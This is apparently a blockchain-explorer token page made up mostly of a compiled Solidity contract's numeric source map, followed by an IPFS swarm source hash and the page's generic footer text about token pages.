;4448:18;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;4332:151;3071:283;;;;;;;;;;-1:-1:-1;3071:283:0;;;;;:::i;:::-;;:::i;1739:192::-;;;;;;;;;;-1:-1:-1;1739:192:0;;;;;:::i;:::-;;:::i;3366:116::-;;;;;;;;;;-1:-1:-1;3366:116:0;;;;;:::i;:::-;;:::i;3593:100::-;3647:13;3680:5;3673:12;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;3593:100;:::o;4489:169::-;4572:4;4589:39;1099:10;4612:7;4621:6;4589:8;:39::i;:::-;-1:-1:-1;4646:4:0;4489:169;;;;:::o;4664:558::-;4845:10;4804:4;4836:20;;;:8;:20;;;;;;;;4835:21;4827:53;;;;-1:-1:-1;;;4827:53:0;;3828:2:1;4827:53:0;;;3810:21:1;3867:2;3847:18;;;3840:30;-1:-1:-1;;;3886:18:1;;;3879:50;3946:18;;4827:53:0;;;;;;;;;4891:36;4901:6;4909:9;4920:6;4891:9;:36::i;:::-;-1:-1:-1;;;;;4965:19:0;;4938:24;4965:19;;;:11;:19;;;;;;;;1099:10;4965:33;;;;;;;;5017:26;;;;5009:79;;;;-1:-1:-1;;;5009:79:0;;4177:2:1;5009:79:0;;;4159:21:1;4216:2;4196:18;;;4189:30;4255:34;4235:18;;;4228:62;-1:-1:-1;;;4306:18:1;;;4299:38;4354:19;;5009:79:0;3975:404:1;5009:79:0;5124:57;5133:6;1099:10;5174:6;5155:16;:25;5124:8;:57::i;:::-;-1:-1:-1;5210:4:0;;4664:558;-1:-1:-1;;;;4664:558:0:o;3490:97::-;2979:6;;-1:-1:-1;;;;;2979:6:0;1099:10;2979:22;2971:68;;;;-1:-1:-1;;;2971:68:0;;;;;;;:::i;:::-;3561:6:::1;:18:::0;;-1:-1:-1;;;;;;3561:18:0::1;-1:-1:-1::0;;;;;3561:18:0;;;::::1;::::0;;;::::1;::::0;;3490:97::o;5228:215::-;1099:10;5316:4;5365:25;;;:11;:25;;;;;;;;-1:-1:-1;;;;;5365:34:0;;;;;;;;;;5316:4;;5333:80;;5356:7;;5365:47;;5402:10;;5365:47;:::i;:::-;5333:8;:80::i;2797:92::-;2979:6;;-1:-1:-1;;;;;2979:6:0;1099:10;2979:22;2971:68;;;;-1:-1:-1;;;2971:68:0;;;;;;;:::i;:::-;2856:25:::1;2862:10;2874:6;2856:5;:25::i;:::-;2797:92:::0;:::o;1639:94::-;1466:7;1493:6;-1:-1:-1;;;;;1493:6:0;1099:10;1553:23;1545:68;;;;-1:-1:-1;;;1545:68:0;;5253:2:1;1545:68:0;;;5235:21:1;;;5272:18;;;5265:30;5331:34;5311:18;;;5304:62;5383:18;;1545:68:0;5051:356:1;1545:68:0;1704:21:::1;1722:1;1704:9;:21::i;:::-;1639:94::o:0;3699:104::-;3755:13;3788:7;3781:14;;;;;:::i;5449:411::-;1099:10;5542:4;5586:25;;;:11;:25;;;;;;;;-1:-1:-1;;;;;5586:34:0;;;;;;;;;;5639:35;;;;5631:85;;;;-1:-1:-1;;;5631:85:0;;5614:2:1;5631:85:0;;;5596:21:1;5653:2;5633:18;;;5626:30;5692:34;5672:18;;;5665:62;-1:-1:-1;;;5743:18:1;;;5736:35;5788:19;;5631:85:0;5412:401:1;5631:85:0;5752:67;1099:10;5775:7;5803:15;5784:16;:34;5752:8;:67::i;:::-;-1:-1:-1;5848:4:0;;5449:411;-1:-1:-1;;;5449:411:0:o;4155:171::-;4241:4;4257:40;4267:10;4279:9;4290:6;4257:9;:40::i;3071:283::-;2979:6;;-1:-1:-1;;;;;2979:6:0;1099:10;2979:22;2971:68;;;;-1:-1:-1;;;2971:68:0;;;;;;;:::i;:::-;-1:-1:-1;;;;;3152:18:0;::::1;3149:198;;1466:7:::0;1493:6;;3186:48:::1;::::0;-1:-1:-1;;;;;1493:6:0;;;;3212:21:::1;3186:48:::0;::::1;;;::::0;3212:21;;3186:48;1466:7;3186:48;3212:21;1493:6;3186:48;::::1;;;;;;;;;;;;;::::0;::::1;;;;;;3071:283:::0;;:::o;3149:198::-:1;3285:6:::0;-1:-1:-1;;;;;3305:14:0;::::1;;3320:7;1466::::0;1493:6;-1:-1:-1;;;;;1493:6:0;;1420:87;3320:7:::1;3305:30;::::0;-1:-1:-1;;;;;;3305:30:0::1;::::0;;;;;;-1:-1:-1;;;;;6010:32:1;;;3305:30:0::1;::::0;::::1;5992:51:1::0;6059:18;;;6052:34;;;5965:18;;3305:30:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;3250:97;3071:283:::0;;:::o;1739:192::-;1466:7;1493:6;-1:-1:-1;;;;;1493:6:0;1099:10;1553:23;1545:68;;;;-1:-1:-1;;;1545:68:0;;5253:2:1;1545:68:0;;;5235:21:1;;;5272:18;;;5265:30;5331:34;5311:18;;;5304:62;5383:18;;1545:68:0;5051:356:1;1545:68:0;-1:-1:-1;;;;;1828:22:0;::::1;1820:73;;;::::0;-1:-1:-1;;;1820:73:0;;6549:2:1;1820:73:0::1;::::0;::::1;6531:21:1::0;6588:2;6568:18;;;6561:30;6627:34;6607:18;;;6600:62;-1:-1:-1;;;6678:18:1;;;6671:36;6724:19;;1820:73:0::1;6347:402:1::0;1820:73:0::1;1904:19;1914:8;1904:9;:19::i;3366:116::-:0;2979:6;;-1:-1:-1;;;;;2979:6:0;1099:10;2979:22;2971:68;;;;-1:-1:-1;;;2971:68:0;;;;;;;:::i;:::-;-1:-1:-1;;;;;3445:17:0;;;::::1;;::::0;;;:8:::1;:17;::::0;;;;:29;;-1:-1:-1;;3445:29:0::1;::::0;::::1;;::::0;;;::::1;::::0;;3366:116::o;7642:380::-;-1:-1:-1;;;;;7778:19:0;;7770:68;;;;-1:-1:-1;;;7770:68:0;;6956:2:1;7770:68:0;;;6938:21:1;6995:2;6975:18;;;6968:30;7034:34;7014:18;;;7007:62;-1:-1:-1;;;7085:18:1;;;7078:34;7129:19;;7770:68:0;6754:400:1;7770:68:0;-1:-1:-1;;;;;7857:21:0;;7849:68;;;;-1:-1:-1;;;7849:68:0;;7361:2:1;7849:68:0;;;7343:21:1;7400:2;7380:18;;;7373:30;7439:34;7419:18;;;7412:62;-1:-1:-1;;;7490:18:1;;;7483:32;7532:19;;7849:68:0;7159:398:1;7849:68:0;-1:-1:-1;;;;;7930:18:0;;;;;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;:36;;;7982:32;;1391:25:1;;;7982:32:0;;1364:18:1;7982:32:0;;;;;;;;7642:380;;;:::o;5866:815::-;-1:-1:-1;;;;;6006:20:0;;5998:70;;;;-1:-1:-1;;;5998:70:0;;7764:2:1;5998:70:0;;;7746:21:1;7803:2;7783:18;;;7776:30;7842:34;7822:18;;;7815:62;-1:-1:-1;;;7893:18:1;;;7886:35;7938:19;;5998:70:0;7562:401:1;5998:70:0;-1:-1:-1;;;;;6087:23:0;;6079:71;;;;-1:-1:-1;;;6079:71:0;;8170:2:1;6079:71:0;;;8152:21:1;8209:2;8189:18;;;8182:30;8248:34;8228:18;;;8221:62;-1:-1:-1;;;8299:18:1;;;8292:33;8342:19;;6079:71:0;7968:399:1;6079:71:0;-1:-1:-1;;;;;6170:16:0;;;;;;:8;:16;;;;;;;;6169:17;6161:79;;;;-1:-1:-1;;;6161:79:0;;8574:2:1;6161:79:0;;;8556:21:1;8613:2;8593:18;;;8586:30;8652:34;8632:18;;;8625:62;-1:-1:-1;;;8703:18:1;;;8696:47;8760:19;;6161:79:0;8372:413:1;6161:79:0;-1:-1:-1;;;;;6333:17:0;;6309:21;6333:17;;;:9;:17;;;;;;6369:23;;;;6361:74;;;;-1:-1:-1;;;6361:74:0;;8992:2:1;6361:74:0;;;8974:21:1;9031:2;9011:18;;;9004:30;9070:34;9050:18;;;9043:62;-1:-1:-1;;;9121:18:1;;;9114:36;9167:19;;6361:74:0;8790:402:1;6361:74:0;-1:-1:-1;;;;;6471:17:0;;;;;;;:9;:17;;;;;;6491:22;;;6471:42;;6535:20;;;;;;;;:30;;6507:6;;6471:17;6535:30;;6507:6;;6535:30;:::i;:::-;;;;;;;;6598:9;-1:-1:-1;;;;;6581:35:0;6590:6;-1:-1:-1;;;;;6581:35:0;;6609:6;6581:35;;;;1391:25:1;;1379:2;1364:18;;1245:177;6581:35:0;;;;;;;;6627:46;7053:583;;-1:-1:-1;;;;;7137:21:0;;7129:67;;;;-1:-1:-1;;;7129:67:0;;9399:2:1;7129:67:0;;;9381:21:1;9438:2;9418:18;;;9411:30;9477:34;9457:18;;;9450:62;-1:-1:-1;;;9528:18:1;;;9521:31;9569:19;;7129:67:0;9197:397:1;7129:67:0;-1:-1:-1;;;;;7292:18:0;;7267:22;7292:18;;;:9;:18;;;;;;7329:24;;;;7321:71;;;;-1:-1:-1;;;7321:71:0;;9801:2:1;7321:71:0;;;9783:21:1;9840:2;9820:18;;;9813:30;9879:34;9859:18;;;9852:62;-1:-1:-1;;;9930:18:1;;;9923:32;9972:19;;7321:71:0;9599:398:1;7321:71:0;-1:-1:-1;;;;;7428:18:0;;;;;;:9;:18;;;;;7449:23;;;7428:44;;7494:12;:22;;7466:6;;7428:18;7494:22;;7466:6;;7494:22;:::i;:::-;;;;-1:-1:-1;;7532:37:0;;1391:25:1;;;7558:1:0;;-1:-1:-1;;;;;7532:37:0;;;;;1379:2:1;1364:18;7532:37:0;1245:177:1;1937:174:0;1994:16;2013:6;;-1:-1:-1;;;;;2030:17:0;;;-1:-1:-1;;;;;;2030:17:0;;;;;;2063:40;;2013:6;;;;;;;2063:40;;1994:16;2063:40;1983:128;1937:174;:::o;14:597:1:-;126:4;155:2;184;173:9;166:21;216:6;210:13;259:6;254:2;243:9;239:18;232:34;284:1;294:140;308:6;305:1;302:13;294:140;;;403:14;;;399:23;;393:30;369:17;;;388:2;365:26;358:66;323:10;;294:140;;;452:6;449:1;446:13;443:91;;;522:1;517:2;508:6;497:9;493:22;489:31;482:42;443:91;-1:-1:-1;595:2:1;574:15;-1:-1:-1;;570:29:1;555:45;;;;602:2;551:54;;14:597;-1:-1:-1;;;14:597:1:o;616:173::-;684:20;;-1:-1:-1;;;;;733:31:1;;723:42;;713:70;;779:1;776;769:12;713:70;616:173;;;:::o;794:254::-;862:6;870;923:2;911:9;902:7;898:23;894:32;891:52;;;939:1;936;929:12;891:52;962:29;981:9;962:29;:::i;:::-;952:39;1038:2;1023:18;;;;1010:32;;-1:-1:-1;;;794:254:1:o;1427:328::-;1504:6;1512;1520;1573:2;1561:9;1552:7;1548:23;1544:32;1541:52;;;1589:1;1586;1579:12;1541:52;1612:29;1631:9;1612:29;:::i;:::-;1602:39;;1660:38;1694:2;1683:9;1679:18;1660:38;:::i;:::-;1650:48;;1745:2;1734:9;1730:18;1717:32;1707:42;;1427:328;;;;;:::o;1949:186::-;2008:6;2061:2;2049:9;2040:7;2036:23;2032:32;2029:52;;;2077:1;2074;2067:12;2029:52;2100:29;2119:9;2100:29;:::i;:::-;2090:39;1949:186;-1:-1:-1;;;1949:186:1:o;2140:180::-;2199:6;2252:2;2240:9;2231:7;2227:23;2223:32;2220:52;;;2268:1;2265;2258:12;2220:52;-1:-1:-1;2291:23:1;;2140:180;-1:-1:-1;2140:180:1:o;2533:260::-;2601:6;2609;2662:2;2650:9;2641:7;2637:23;2633:32;2630:52;;;2678:1;2675;2668:12;2630:52;2701:29;2720:9;2701:29;:::i;:::-;2691:39;;2749:38;2783:2;2772:9;2768:18;2749:38;:::i;:::-;2739:48;;2533:260;;;;;:::o;2798:118::-;2884:5;2877:13;2870:21;2863:5;2860:32;2850:60;;2906:1;2903;2896:12;2921:315;2986:6;2994;3047:2;3035:9;3026:7;3022:23;3018:32;3015:52;;;3063:1;3060;3053:12;3015:52;3086:29;3105:9;3086:29;:::i;:::-;3076:39;;3165:2;3154:9;3150:18;3137:32;3178:28;3200:5;3178:28;:::i;:::-;3225:5;3215:15;;;2921:315;;;;;:::o;3241:380::-;3320:1;3316:12;;;;3363;;;3384:61;;3438:4;3430:6;3426:17;3416:27;;3384:61;3491:2;3483:6;3480:14;3460:18;3457:38;3454:161;;3537:10;3532:3;3528:20;3525:1;3518:31;3572:4;3569:1;3562:15;3600:4;3597:1;3590:15;3454:161;;3241:380;;;:::o;4384:397::-;4586:2;4568:21;;;4625:2;4605:18;;;4598:30;4664:34;4659:2;4644:18;;4637:62;-1:-1:-1;;;4730:2:1;4715:18;;4708:31;4771:3;4756:19;;4384:397::o;4786:127::-;4847:10;4842:3;4838:20;4835:1;4828:31;4878:4;4875:1;4868:15;4902:4;4899:1;4892:15;4918:128;4958:3;4989:1;4985:6;4982:1;4979:13;4976:39;;;4995:18;;:::i;:::-;-1:-1:-1;5031:9:1;;4918:128::o;6097:245::-;6164:6;6217:2;6205:9;6196:7;6192:23;6188:32;6185:52;;;6233:1;6230;6223:12;6185:52;6265:9;6259:16;6284:28;6306:5;6284:28;:::i;10002:125::-;10042:4;10070:1;10067;10064:8;10061:34;;;10075:18;;:::i;:::-;-1:-1:-1;10112:9:1;;10002:125::o

Swarm Source

ipfs://004db298a5d5939189d3ad79a57f5c14803e9df7692caeb5217eb684963130fd
Loading...
Loading
Loading...
Loading
[ Download: CSV Export  ]
[ Download: CSV Export  ]

A token is a representation of an on-chain or off-chain asset. The token page shows information such as price, total supply, holders, transfers and social links. Learn more about this page in our Knowledge Base.